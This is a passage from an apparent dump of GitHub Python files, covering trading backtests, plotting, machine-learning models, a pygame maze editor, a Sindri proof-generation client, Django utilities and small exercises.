print('Start WFA for {}-{} from {} to {}'.format(stockName,\n row.indicator, datafeed.iloc[0].name, datafeed.iloc[-1].name))\n\n # 重要,数据划分,datafeed是dataframe,包含k线数据\n trainTestGenerator = WFASplit(\n datafeed, trainBy='8m', testBy='8m', loopBy='m')\n\n _ind = indicatorDict[row.indicator]\n # Training 样本内训练\n WFATrainResult = runTrain(trainTestGenerator, _ind, stockName)\n\n WFATrainResult = pd.DataFrame.from_records(WFATrainResult)\n WFATrainResult.to_csv('{}/bestTrain/{}_{}_train.csv'.format(\n params['resultLocation'], stockName, row.indicator), index=False)\n\n # TESTING 样本外测试\n _report = runTest(params, WFATrainResult, _ind, datafeed, stockName) # datafeed是dataframe\n\n # Consolidate T\n if _report[0] is not None:\n reportLogger.info(str(_report).strip(\"[]\").strip(\n \" \").replace(\" \", \"\").replace(\"'\", \"\"))\n simulations.append(_report)\n\n # After simulations\n simulations = pd.DataFrame(simulations)\n reportColumns = ['stockName', 'market', 'indicator',\n 'grossProfit', 'grossAverageProfit', 'maxProfit',\n 'grossLoss', 'grossAverageLoss', 'maxLoss',\n 'netProfit', 'averageNetProfit', 'NAR',\n 'profitFactor', 'recoveryFactor', 'MDDLength',\n 'selfMDD', 'winRate', 'tradingTimeRatio',\n 'averageTradingBar', 'tradeNumber', 'maxValue',\n 'minValue', 'initialv', 'totalCommission',\n 'barNumber', 'expectancy100', 'bnhReturn',\n 'bnhRatio']\n simulations.columns = reportColumns\n consoResult = cr.scoring(simulations)\n consoResult = consoResult.sort_values(['res'], ascending=False)\n consoResult.sort_values('res').to_csv(\n '{}/optReport.csv'.format(params['resultLocation']), index=False)\n\n timeRequired = time.time() - startTime\n print('timeRequired={:.2f}s'.format(timeRequired))\n","repo_name":"vcfriend/python-demo","sub_path":"myQuant/bt_backtrader/think_in_backtrader/docs/参考资料/扫地僧backtrader教程全套源码需密码1.163/wfBarton05.py","file_name":"wfBarton05.py","file_ext":"py","file_size_in_byte":12848,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"28"} +{"seq_id":"33857303644","text":"import itertools\nfrom sklearn.metrics import confusion_matrix\nimport matplotlib.pyplot as plt \nimport numpy as np\nimport os\ndef plot_train_history(train_df, valid_df,save_path):\n\n #Loss graph\n fig = plt.figure(figsize=(10,5))\n ax = fig.add_subplot(1,2,1)\n ax.plot(train_df['loss'].tolist(), label='train loss',color =\"blue\")\n ax.plot(valid_df['loss'].tolist(), label='valid loss', color='Red')\n\n plt.xlim(0,len(train_df))\n plt.legend(fontsize=12, loc='upper right')\n plt.title('Loss graph', fontsize=15)\n plt.xlabel('epoch', fontsize=13)\n plt.ylabel('loss', fontsize=13)\n\n plt.savefig(os.path.join(save_path, 'loss_graph.png'))\n print(\"save {}\".format(os.path.join(save_path, 'loss_graph.png')))\n \n #Acc graph\n ax = fig.add_subplot(1,2,2)\n ax.plot(train_df['acc'].tolist(), label='train acc',color =\"blue\")\n ax.plot(valid_df['acc'].tolist(), label='valid acc', color='Red')\n\n plt.xlim(0,None)\n plt.legend(fontsize=12, loc='upper right')\n plt.title('Acc graph', fontsize=15)\n plt.xlabel('epoch', fontsize=13)\n plt.ylabel('acc', fontsize=13)\n\n\n plt.savefig(os.path.join(save_path, 'acc_graph.png'))\n\n print(\"save {}\".format(os.path.join(save_path, 'acc_graph.png')))\n \n\ndef plot_confusion_matrix(cm, classes,\n title='Confusion matrix',\n cmap=plt.cm.Blues):\n \"\"\"\n This function prints and plots the confusion matrix.\n Normalization can be applied by setting `normalize=True`.\n \"\"\"\n fig=plt.figure(figsize=(10,5))\n plt.subplot(121)\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n\n plt.title(title)\n plt.colorbar()\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=45)\n plt.yticks(tick_marks, classes)\n\n fmt = 'd'\n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, format(cm[i, j], fmt),\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\")\n\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n \n \n plt.subplot(122)\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title)\n plt.colorbar()\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=45)\n plt.yticks(tick_marks, classes)\n\n fmt = '.2f' \n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, format(cm[i, j], fmt),\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\")\n\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n \n plt.tight_layout()\n plt.show()","repo_name":"ginkyenglee/Explaining_Decision_of_Time_Series_Data","sub_path":"visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":2841,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"28"} +{"seq_id":"35447844075","text":"class node:\n def __init__(self):\n self.children = []\n self.meta = []\n self.value = 0\nwith open('8.txt', 'r') as txtfile: r = txtfile.readline().strip('\\n').split(' ')\nr.reverse()\ndef process(data):\n control = [int(data.pop()), int(data.pop())]\n n = node()\n for c in range(control[0]):\n n.children.append(process(data))\n for m in range(control[1]):\n n.meta.append(int(data.pop()))\n if n.meta[-1] <= len(n.children): n.value += n.children[n.meta[-1]-1].value\n if len(n.children) == 0: n.value = sum(n.meta)\n return n\nprint(process(r).value)\n","repo_name":"mcnutty26/aoc","sub_path":"2018/08/8-2.py","file_name":"8-2.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"8649539692","text":"from create_data import create_data\nfrom get_freqs import get_freqs\nfrom autocorrelation import autocorrelation\nfrom hff import get_hff, get_fft, smooth_fft\nfrom chi_squared import get_prob\n# from significance import get_significance\nfrom chisquared_stuff import get_significance\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n#############################\n# # # C O N S T A N T S # # #\n#############################\ntotal_time = 1 # Generating signal\ntime_interval = 0.001 # Generating signal\nm_phi = 10 * np.pi # Generating signal\nm_e = 1 # Generating signal\ng_gamma = 1 # Generating signal\ng_e = 1 # Generating signal\nalpha = 1 # Generating signal\ndensity = 1 # Generating signal\nc = 1 # Generating signal\nh_bar = 1 # Generating signal\nmean = 0 # Generating signal\ndeviation = 0.05 # Generating signal\nuse_noise = True # Generating signal\ni = 1 # Autocorrelation\nthreshold = 0.5 # Dft and psd\n\n##---------------------------##\n##------ CHOOSE METHOD ------##\n##---------------------------##\nmethod = 2 # Run method 1 or 2\n # Method 1: Correlate noisy function and apply FT\n # Method 2: High Frequency Features (HFF) detection method\n\n##---------------------------##\n##---- GENERATING SIGNAL ----##\n##---------------------------##\nsignal = create_data(total_time=total_time, time_interval=time_interval, m_phi=m_phi, m_e=m_e, g_gamma=g_gamma, g_e=g_e, alpha=alpha, density=density,\n c=c, h_bar=h_bar, mean=mean, deviation=deviation, use_noise=use_noise)\n\nplt.plot(signal[0], signal[1])\nplt.title(f\"Raw signal. Error deviation: {deviation}\")\nplt.ylabel(\"Energy\")\nplt.xlabel(\"Time\")\nplt.show()\n\nif method == 1:\n ##----------------------------##\n ##---- AUTOCORRELATING IT ----##\n ##----------------------------##\n autocorrelated_signal = autocorrelation(signal, i=i)\n\n plt.plot(autocorrelated_signal[0], autocorrelated_signal[1])\n plt.title(\"Signal after autocorrelation\")\n plt.ylabel(\"Correlation\")\n plt.xlabel(\"Shift amount [t]\")\n plt.show()\n\n ##---------------------------##\n ##---- FOURIER TRANSFORM ----##\n ##---------------------------##\n fhat, psd, freqs = get_freqs(signal, threshold)\n\n fig, ax = plt.subplots(2,1)\n ax[0].plot(np.arange(len(fhat)), fhat, label=\"Power spectrum density\")\n ax[0].set_xlabel(\"Frequency\")\n ax[0].set_ylabel(\"Magnitude\")\n\n ax[1].scatter(freqs, np.ones(len(freqs)), label=\"peaks\")\n ax[1].set_xlabel(\"Frequency\")\n\n ax[0].legend()\n ax[1].legend()\n ax[0].set_title(\"Dft results\")\n\n plt.show()\n\n fourier_conj = np.conj(fhat)\n fourier2 = [np.real(fhat[i]*fourier_conj[i]) for i in range(len(fhat))]\n\n plt.plot(np.arange(len(fourier2)), fourier2)\n plt.title(\"fourier^2\")\n plt.show()\n\n significance = get_significance(fhat, freqs[0])\n print(\"SIGNIFICANCE\", significance)\n\nelif method == 2:\n delta = 2 # smoothing parameter, it may be worth making this bigger with higher deviation\n idx, freq = get_hff(np.array(signal), delta=delta)\n\n print(f'Estimated frequency: {freq}')\n\n f, amp = get_fft(signal[1]**2, time_interval)\n\n fig, ax = plt.subplots(1)\n ax.plot(f, amp)\n ax.set_yscale('log')\n ax.set_ylabel('Coefficient')\n ax.set_xlabel('Frequencies')\n ax.set_title(\"Fourier transform of signal\")\n\n plt.show()\n\n dom, ran = smooth_fft(f, amp, delta=delta)\n\n fig, ax = plt.subplots(1)\n ax.plot(dom, ran)\n ax.set_yscale('log')\n ax.set_ylabel('Coefficient')\n ax.set_xlabel('Frequencies')\n ax.set_title(rf\"Smoothed Fourier transform of signal with $\\delta={delta}$\")\n\n plt.show()\n\n fig, ax = plt.subplots(1)\n ax.plot(dom, ran)\n ax.plot(dom[idx], ran[idx], 'bD') # plot blue square corresponding to most significant frequency peak\n ax.set_yscale('log')\n ax.set_xlabel('Frequencies')\n ax.set_ylabel('Coefficient')\n ax.set_title(\"Detected frequencies with HFF\")\n\n plt.show()\n\n # significance = get_significance(ran, idx, plot=True)\n # print(f'Significance of frequency {freq}: {significance}')\n \n if idx % 2 == 0:\n idx = idx // 2\n get_prob(signal, idx, plot=True)","repo_name":"HugoHF/dark_matter","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4416,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"28"} +{"seq_id":"34693613802","text":"import pygame as pg\nimport json\nimport os\nfrom config import *\nfrom pygame.locals import *\n\npg.init()\n\n\nclass Main:\n def __init__(self, maze_arg):\n self.structure = maze_arg\n\n self.window = pg.display.set_mode((TILE_W * len(self.structure[0]),\n TILE_H * len(self.structure) + 50), RESIZABLE)\n\n self.path = pg.image.load(\"assets/path.png\").convert()\n self.wall = pg.image.load(\"assets/wall.png\").convert()\n self.guardian = pg.image.load(\"assets/guardian.png\").convert_alpha()\n self.hero = pg.image.load(\"assets/down.png\").convert_alpha()\n\n self.max_x = len(self.structure[0]) - 1\n self.max_y = len(self.structure) - 1\n\n def display_2d_maze(self):\n end = False\n pg.display.flip()\n for y_position, line in enumerate(self.structure):\n for x_position, tile in enumerate(line):\n x = x_position * TILE_W\n y = y_position * TILE_H\n if tile == 0:\n self.window.blit(self.path, (x, y))\n elif tile == 1:\n self.window.blit(self.wall, (x, y))\n elif tile == 3:\n self.window.blit(self.path, (x, y))\n self.window.blit(self.guardian, (x, y))\n elif tile == 4:\n self.window.blit(self.path, (x, y))\n self.window.blit(self.hero, (x, y))\n\n def refresh_message(self,text):\n rect = pg.draw.rect(self.window, (0, 0, 0), pg.Rect(0, 525, 525, 50))\n font = pg.font.SysFont(pg.font.get_default_font(),\n 20, bold=False, italic=False)\n message = font.render(text, True, (200, 255, 100))\n self.window.blit(message, (35, TILE_H * len(self.structure) + 20))\n pg.display.update()\n\n def run(self):\n self.display_2d_maze()\n self.refresh_message(\"\"\"\n Click to add/remove walls. Press ENTER to save maze as 'custom'.\n \"\"\")\n\n end = False\n placing_guardian = False\n placing_hero = False\n\n while not end:\n pg.display.flip()\n\n for event in pg.event.get():\n if event.type == QUIT:\n end = True\n elif event.type == pg.MOUSEBUTTONUP:\n mouse = pg.mouse.get_pos()\n x = mouse[0] // TILE_W\n y = mouse[1] // TILE_H\n\n if y > self.max_y:\n pass\n\n elif self.structure[y][x] == 3 and not placing_hero:\n self.window.blit(self.wall, (x * TILE_W, y * TILE_H))\n self.structure[y][x] = 1\n placing_guardian = True\n self.refresh_message(\"\"\"Your're holding the Exit/Guardian, drop him on an external wall.\"\"\")\n\n elif self.structure[y][x] == 4 and not placing_guardian:\n self.window.blit(self.wall, (x * TILE_W, y * TILE_H))\n self.structure[y][x] = 1\n placing_hero = True\n self.refresh_message(\"Your're holding the Hero, drop him on an external wall.\")\n\n elif (x == 0 or x == self.max_x or y == 0 or y == self.max_y) \\\n and ((x,y) not in [(0,0),(0,14),(14,0),(14,14)]) \\\n and placing_guardian and self.structure[y][x] != 4:\n self.window.blit(self.path, (x * TILE_W, y * TILE_H))\n self.window.blit(self.guardian, (x * TILE_W, y * TILE_H))\n self.structure[y][x] = 3\n placing_guardian = False\n self.refresh_message(\"Click to add/remove walls. Press ENTER to save maze as 'custom'.\")\n\n elif (x == 0 or x == self.max_x or y == 0 or y == self.max_y) \\\n and ((x,y) not in [(0,0),(0,14),(14,0),(14,14)]) \\\n and placing_hero and self.structure[y][x] != 3:\n self.window.blit(self.path, (x * TILE_W, y * TILE_H))\n self.window.blit(self.hero, (x * TILE_W, y * TILE_H))\n self.structure[y][x] = 4\n placing_hero = False\n self.refresh_message(\"Click to add/remove walls. Press ENTER to save maze as 'custom'.\")\n\n elif x != 0 and x != self.max_x and y != 0 and y != self.max_y:\n if self.structure[y][x] == 0:\n self.window.blit(self.wall,\n (x * TILE_W, y * TILE_H))\n self.structure[y][x] = 1\n elif self.structure[y][x] == 1:\n self.window.blit(self.path,\n (x * TILE_W, y * TILE_H))\n self.structure[y][x] = 0\n\n\n elif event.type == KEYDOWN:\n if event.key == K_RETURN:\n with open('mazes/custom.json', 'w') as maze_file:\n json.dump(self.structure, maze_file)\n pass\n end = True\n\nmain = Main(BASE)\nmain.run()\n","repo_name":"gil-x/oc-projet-3","sub_path":"editor.py","file_name":"editor.py","file_ext":"py","file_size_in_byte":5286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"26422132972","text":"import sys\n\ndef fib(n):\n if n >= 0 and n <= 2:\n return 1\n else:\n return fib(n-1) + fib(n-2)\n\nif __name__ == \"__main__\":\n n = sys.argv[1]\n print(\"The\",n,\"th Fibonacci number is:\", fib(int(n)))\n","repo_name":"jmschabdach/programming-challenges","sub_path":"fibonacci/nth_fibonacci.py","file_name":"nth_fibonacci.py","file_ext":"py","file_size_in_byte":218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"34894349842","text":"import json\nimport os\nimport sys\nimport time\nimport tarfile\nimport io\nimport pprint\n\nimport requests # pip install requests\n\n# You should pass your key in as an environment variable\nAPI_KEY = os.getenv(\"SINDRI_API_KEY\", \"\")\n\n# Use V1 of Sindri API\nAPI_VERSION = \"v1\"\nAPI_URL = f\"https://forge.sindri.app/api/{API_VERSION}/\"\n\n#Define various headers\nheaders_json = {\n \"Accept\": \"application/json\",\n \"Authorization\": f\"Bearer {API_KEY}\"\n}\nheaders_multipart = {\n \"Accept\": \"multipart/form-data\",\n \"Authorization\": f\"Bearer {API_KEY}\"\n}\nheaders_urlencode = {\n \"Accept\": \"application/json\",\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n \"Authorization\": f\"Bearer {API_KEY}\"\n}\n\n# Create new circuit\ncreation_response = requests.post(\n API_URL + \"circuit/create\",\n headers=headers_json,\n data={\n \"circuit_name\": \"sudoku\",\n \"circuit_type\": \"Circom\"\n },\n)\nassert creation_response.status_code == 201\ncircuit_id = creation_response.json().get(\"circuit_id\")\nprint(f\"Circuit ID: {circuit_id}\")\n\n# Create a tar archive and upload via byte stream\nfh = io.BytesIO()\nwith tarfile.open(fileobj=fh, mode='w:gz') as tar:\n tar.add(\"circuit/\")\nfiles = {\"files\": fh.getvalue()}\n\n# Upload the circuit file\nupload_response = requests.post(\n API_URL + f\"circuit/{circuit_id}/uploadfiles\",\n headers=headers_multipart,\n files=files\n)\nassert upload_response.status_code == 201\n\n\n# Initiate compilation\ncompile_response = requests.post(\n API_URL + f\"circuit/{circuit_id}/compile\",\n headers=headers_json\n)\nassert compile_response.status_code == 201\n\n\n# Poll circuit detail unitl it has a status of Ready or Failed\nTIMEOUT = 600 # timeout after 10 minutes\nfor i in range(TIMEOUT):\n response = requests.get(\n API_URL + f\"circuit/{circuit_id}/detail\" ,\n headers=headers_json,\n params={\"include_verification_key\": False},\n )\n assert (\n response.status_code == 200\n ), f\"Expected status code 200, received {response.status_code}.\"\n status = response.json()[\"status\"]\n if status in [\"Ready\", \"Failed\"]:\n print(f\"Circuit poll exited after {i} seconds with status: {status}\")\n break\n time.sleep(1)\nelse:\n sys.exit(\"Circuit compile polling timed out\")\n\n# Check for compilation issues\nif status == \"Failed\":\n sys.exit(\"Circuit compilation failed\")\n\npprint.pprint(response.json(), depth=2, indent=2, width=40)\n\n\n# Initiate proof generation\nwith open(\"example_solution.json\",\"r\") as proof_file:\n proof_input = json.dumps(json.load(proof_file))\nproof_response = requests.post(\n API_URL + f\"circuit/{circuit_id}/prove\",\n headers=headers_urlencode,\n data={\n \"proof_input\": proof_input,\n },\n)\nassert proof_response.status_code == 201\nproof_id = proof_response.json()[\"proof_id\"]\nprint(f\"Proof ID: {proof_id}\")\n\n# Poll proof status\nTIMEOUT = 1200 #timeout after 20 minutes\naction_complete = False\nfor i in range(TIMEOUT):\n poll_response = requests.get(\n API_URL + f\"proof/{proof_id}/detail\",\n headers=headers_json,\n params={\n \"include_proof_input\": False,\n \"include_public\": True,\n \"include_verification_key\": True,\n \"include_proof\": True,\n }\n )\n status = poll_response.json()[\"status\"]\n if status in [\"Ready\", \"Failed\"]:\n print(f\"Proof poll exited after {i} seconds with status: {status}\")\n action_complete = True\n break\n time.sleep(1)\n\n# Check for proving issues\nif not action_complete:\n sys.exit(\"Proof polling timed out\")\nelif status == \"Failed\":\n sys.exit(\"Proving failed\")\nelse:\n proof_detail = poll_response.json()\n\n# Save Artifacts for Verification\nwith open(\"verification_key.json\",\"w\") as outfile:\n json.dump(proof_detail[\"verification_key\"], outfile, indent=4)\nwith open(\"public.json\",\"w\") as outfile:\n json.dump(proof_detail[\"public\"], outfile, indent=4)\nwith open(\"proof.json\",\"w\") as outfile:\n json.dump(proof_detail[\"proof\"], outfile, indent=4)\n\n# Retrieve output from the proof\npprint.pprint(proof_detail, depth=1, indent=2, width=40)\nprint(proof_detail[\"public\"])","repo_name":"Sindri-Labs/forge-sample-data","sub_path":"circom/sudoku/compile_and_prove.py","file_name":"compile_and_prove.py","file_ext":"py","file_size_in_byte":4130,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"28"} +{"seq_id":"74203889354","text":"from cnn_util import conv,pool,dropout\r\nfrom keras.layers import Dense,Input, Flatten,concatenate\r\nfrom keras.models import Model\r\nIMG_SIZE =48\r\nNUM_CLASSES =43\r\ndef inception_model(x):\r\n layer1 = conv(x, 16, (3, 3), padding='same', strides=(2, 2), name='layer1')\r\n layer2 = conv(layer1, 48, (5, 5), padding='same', strides=(1, 1), name='layer2')\r\n layer3 = conv(layer2, 48, (3, 3), padding='same', strides=(2, 2), name='layer3')\r\n layer3_pool = pool(layer3,pool_size=(3, 3), strides=(1, 1), padding='same',pool_type='max')\r\n layer4 = dropout(layer3_pool,rate = 0.2)\r\n\r\n branch1_1 = conv(layer4, 64, (3, 3), padding='same', strides=(2, 2), name='branch1_1')\r\n branch1_2 = conv(branch1_1, 64, (5, 5), padding='same', strides=(1, 1), name='branch1_2')\r\n\r\n branch2_1 = conv(layer4, 64, (5, 5), padding='same', strides=(1, 1), name='branch2_1')\r\n branch2_2 = conv(branch2_1, 64, (7, 7), padding='same', strides=(2, 2), name='branch2_2')\r\n\r\n branch3_1 = pool(layer4,pool_size=(5, 5), strides=(1, 1), padding='same', name='branch3_1',pool_type='max')\r\n branch3_2 = conv(branch3_1, 64, (5, 5), padding='same', strides=(2, 2), name='branch3_2')\r\n\r\n x = concatenate([branch1_2, branch2_2, branch3_2], axis=3)\r\n return x\r\n\r\ndef cnn_model():\r\n data_input = Input(shape=(IMG_SIZE, IMG_SIZE, 3))\r\n x = inception_model(data_input)\r\n x = conv(x, 128, (3, 3), padding='same', strides=(1, 1), name='layer5')\r\n x = conv(x, 256, (3, 3), padding='same', strides=(2, 2), name='layer6')\r\n x = pool(x,pool_size=(3, 3), strides=(1, 1), padding='same', name='layer7',pool_type='max')\r\n x = dropout(x,rate=0.5)\r\n x = Flatten()(x)\r\n x = Dense(256, activation='relu')(x)\r\n x = Dense(NUM_CLASSES, activation='softmax')(x)\r\n x = Model(data_input, x, name='inception')\r\n return x","repo_name":"jacobssy/Traffic_Sign_detection","sub_path":"classfify/cnn_model.py","file_name":"cnn_model.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"28"} +{"seq_id":"14973686648","text":"import pandas as pd\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pylab as plt\nplt.style.use('bmh')\n\n\ntrain=pd.read_csv('titanic_train.csv')\nprint(train.head())\n\n#plt.figure(figsize=(10,8))\n#sns.heatmap(train.isnull(),cbar=False)\n#plt.show()\n\n#plt.figure(figsize=(10,8))\n#sns.countplot(x=\"Survived\",data=train)\n#plt.show()\n\n#sns.countplot(x='Survived',hue='Sex',data=train,palette='rainbow')\n#plt.show()\n\n#sns.distplot(train['Age'].dropna(),bins=20)\n#plt.show()\n\n#train['Fare'].hist()\n#plt.show()\n\n##########cleaning data#####################\n\n#plt.figure(figsize=(10,8))\n#sns.boxplot(x='Pclass',y='Age',data=train)\n#plt.show()\n\n#impute the age missing data by average of pclass\ndef impute_age(cols):\n Age=cols[0]\n Pclass=cols[1]\n if pd.isnull(Age):\n\n if Pclass == 1:\n return 37\n elif Pclass == 2:\n return 29\n else:\n return 24\n\n else:\n return Age\n\ntrain['Age']=train[['Age','Pclass']].apply(impute_age,axis=1)\n\n#plt.figure(figsize=(10,8))\n#sns.heatmap(train.isnull(),yticklabels=False,cbar=False)\n#plt.show()\n\ntrain.drop('Cabin',axis=1,inplace=True)\nprint(train.head())\n\n#drop misssin data\ntrain.dropna(inplace=True) #return none\n\nprint(train.info())\n\n#convert categorials to dummy variables\nsex=pd.get_dummies(train['Sex'],drop_first=True)\nembark=pd.get_dummies(train['Embarked'],drop_first=True)\n\n\ntrain.drop(['Sex','Embarked','Name','Ticket'],axis=1,inplace=True)\nprint(train.head())\ntrain=pd.concat([train,sex,embark],axis=1)\nprint(train.head())\n\n\n# training logistic regression model\nfrom sklearn.model_selection import train_test_split\nx=train.drop('Survived',axis=1)\ny=train['Survived']\n\nx_train,x_test,y_train,y_test=train_test_split(x,y,test_size=0.30,random_state=27)\n\nfrom sklearn.linear_model import LogisticRegression\nlogmodel=LogisticRegression()\nlogmodel.fit(x_train,y_train)\n\npredictions=logmodel.predict(x_test)\n\nfrom sklearn.metrics import classification_report\nprint(classification_report(y_test,predictions))\n\nfrom sklearn.metrics import confusion_matrix\nsns.heatmap(confusion_matrix(y_test,predictions))\nprint(confusion_matrix(y_test,predictions))\nplt.show()\n\n","repo_name":"sadeghmdi/ML","sub_path":"titanic.py","file_name":"titanic.py","file_ext":"py","file_size_in_byte":2167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"1440901737","text":"import os\nfrom setuptools import setup, find_packages\n\nwith open(os.path.join(os.path.dirname(__file__), 'README.md')) as readme:\n README = readme.read()\n\n# allow setup.py to be run from any path\nos.chdir(os.path.normpath(os.path.join(os.path.abspath(__file__), os.pardir)))\n\nsetup(\n name='django-mediamanager',\n version='0.1.1',\n packages=find_packages(),\n include_package_data=True,\n description='A central repository for Django apps to register any static media that needs to be included.',\n long_description=README,\n author='Jason Beverage',\n url=\"https://github.com/jasonbeverage/django-mediamanager\",\n install_requires=[\"Django>=1.9\"]\n)","repo_name":"jasonbeverage/django-mediamanager","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"28"} +{"seq_id":"21045274724","text":"from django.core.management.base import BaseCommand\nfrom easy_thumbnails.models import Source, Thumbnail\nfrom weltladen.models import WeltladenProduct\nfrom django.conf import settings\nimport os\n\nclass Command(BaseCommand):\n help = \"Iterates over all files in Filer and creates an IconFont for all eligibles.\"\n\n def add_arguments(self, parser):\n parser.add_argument(\n '--dry-run',\n dest='dry_run',\n action='store_true'\n )\n parser.set_defaults(dry_run=False)\n\n def handle(self, verbosity, *args, **options):\n self.dry_run = options['dry_run']\n self.verbosity = verbosity\n self.delete_thumbnails()\n\n def clean_thumbnails(self, model):\n sources = Source.objects.filter(name=model.file.name)\n if sources.exists():\n for thumb in Thumbnail.objects.filter(source=sources[0]):\n try:\n path = os.path.join(settings.MEDIA_ROOT, thumb.name)\n if self.dry_run:\n print('Would delete: '+ path)\n else:\n os.remove(path)\n thumb.delete()\n except Exception as e:\n print(\"error \" + e.message)\n\n def delete_thumbnails(self):\n for p in WeltladenProduct.objects.all():\n for i in p.images.all():\n self.clean_thumbnails(i)","repo_name":"markusmo/weltladenbaden","sub_path":"weltladen/management/commands/clear_thumbnails.py","file_name":"clear_thumbnails.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"38483460736","text":"# От конзолата се чете:\n# •\tНа първи ред – бюджетът - реално число в интервала [1.00… 100000.00]\n# •\tСлед това поредица от два реда (до получаване на команда \"Stop\" или\n# при заявка за купуване на продукт, чиято стойност е по-висока от наличния бюджет) :\n# o\tИме на продукта – текст\n# o\tЦена на продукта – реално число в интервала [1.00… 5000.00]\n\nbudget = float(input())\nproduct_name = input()\n\ncounter = 0\nall_products_price = 0\n\nwhile product_name != 'Stop':\n product_price = float(input())\n counter += 1\n if counter % 3 == 0:\n all_products_price += product_price / 2\n else:\n all_products_price += product_price\n\n if all_products_price > budget:\n print(f\"You don't have enough money!\")\n needed_money = all_products_price - budget\n print(f\"You need {needed_money:.2f} leva!\")\n break\n\n product_name = input()\n\nelse:\n print(f'You bought {counter} products for {all_products_price:.2f} leva.')\n","repo_name":"MatDvt/Python","sub_path":"pythonBasics/TestExam_28 and 29 March 2020/ExamPreparaton/05. Tourist Shop.py","file_name":"05. Tourist Shop.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"bg","doc_type":"code","stars":1,"dataset":"github-code","pt":"28"} +{"seq_id":"37721144238","text":"import os\nimport pickle\nimport shutil\nfrom pathlib import Path\nfrom typing import List\n\nfrom immuneML.IO.ml_method.MLMethodConfiguration import MLMethodConfiguration\nfrom immuneML.hyperparameter_optimization.states.HPItem import HPItem\nfrom immuneML.preprocessing.Preprocessor import Preprocessor\nfrom immuneML.util.PathBuilder import PathBuilder\n\n\nclass MLExporter:\n\n @staticmethod\n def export_zip(hp_item: HPItem, path: Path, label_name: str) -> str:\n state_path = path.absolute()\n export_path = MLExporter.export(hp_item, state_path / \"exported\")\n filename = f\"ml_settings_{label_name}\"\n abs_zip_path = Path(shutil.make_archive(state_path / \"zip\" / filename, \"zip\", str(export_path))).absolute()\n return abs_zip_path\n\n @staticmethod\n def export(hp_item: HPItem, path: Path) -> Path:\n PathBuilder.build(path)\n preproc_filename = MLExporter._store_preprocessing_sequence(hp_item.hp_setting.preproc_sequence, path).name\n encoder_filename = MLExporter._store_encoder(hp_item.hp_setting.encoder, path).name\n\n hp_item.method.store(path, hp_item.method.get_feature_names())\n\n method_config = MLMethodConfiguration(label_name=hp_item.method.get_label_name(),\n label_positive_class=hp_item.method.get_positive_class(),\n label_values=hp_item.method.get_classes(),\n software_used=hp_item.method.get_package_info(),\n encoding_name=hp_item.hp_setting.encoder_name, encoding_parameters=hp_item.hp_setting.encoder_params,\n encoding_file=encoder_filename, encoding_class=type(hp_item.hp_setting.encoder).__name__,\n ml_method=type(hp_item.method).__name__, ml_method_name=hp_item.method.name,\n train_dataset_id=hp_item.train_dataset.identifier, train_dataset_name=hp_item.train_dataset.name,\n preprocessing_sequence_name=hp_item.hp_setting.preproc_sequence_name,\n preprocessing_file=os.path.basename(preproc_filename),\n preprocessing_parameters={type(seq).__name__: {str(key): str(val) for key, val in vars(seq).items()}\n for seq in hp_item.hp_setting.preproc_sequence})\n\n method_config.store(path / 'ml_config.yaml')\n\n return path\n\n @staticmethod\n def _store_encoder(encoder, path: Path) -> Path:\n filename = path / \"encoder.pickle\"\n type(encoder).store_encoder(encoder, filename)\n return filename\n\n @staticmethod\n def _store_preprocessing_sequence(preprocessing_sequence: List[Preprocessor], path: Path) -> Path:\n filename = path / \"preprocessing_sequence.pickle\"\n\n with filename.open(\"wb\") as file:\n pickle.dump(preprocessing_sequence, file)\n\n return filename\n","repo_name":"uio-bmi/immuneML","sub_path":"immuneML/IO/ml_method/MLExporter.py","file_name":"MLExporter.py","file_ext":"py","file_size_in_byte":3131,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"28"} +{"seq_id":"27568126686","text":"from recurring_content_detector.detector import fill_gaps, get_two_longest_timestamps\nimport numpy as np\n\ndef test_fill_gaps_regular():\n input = np.array([0,0,1,0,0,0,0,1,0,0])\n expected = [0,0,1,1,1,1,1,1,0,0]\n\n output = fill_gaps(input, lookahead=6)\n\n assert expected == output.tolist()\n\n\ndef test_fill_gaps_largerlookahaead():\n input = np.array([0,0,1,0,0,0,0,1,0,0])\n expected = [0,0,1,1,1,1,1,1,0,0]\n\n 